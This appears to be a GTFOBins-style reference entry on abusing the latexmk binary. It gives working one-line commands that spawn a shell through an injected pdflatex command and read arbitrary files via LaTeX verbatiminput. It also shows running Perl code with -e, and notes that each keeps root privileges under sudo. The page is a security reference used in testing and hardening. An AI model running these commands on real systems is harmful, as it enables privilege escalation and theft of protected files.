latexmk

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    latexmk -pdf -pdflatex='/bin/sh #' /dev/null
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    latexmk -pdf -pdflatex='/bin/sh #' /dev/null

File read

This executable can read data from local files.
  1. CommentThe read file will be part of the output.
    This function can be performed by any unprivileged user.
    echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
    latexmk -dvi /path/to/temp-file
    strings temp-file.dvi
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}' >/path/to/temp-file
    latexmk -dvi /path/to/temp-file
    strings temp-file.dvi
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.

Inherit

This executable can inherit functions from another.
  1. CommentThis allows to run Perl code (...).
    This function can be performed by any unprivileged user.
    latexmk -e '...'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    latexmk -e '...'
    Functions

    Inherits from perl, thus possibly granting its functions.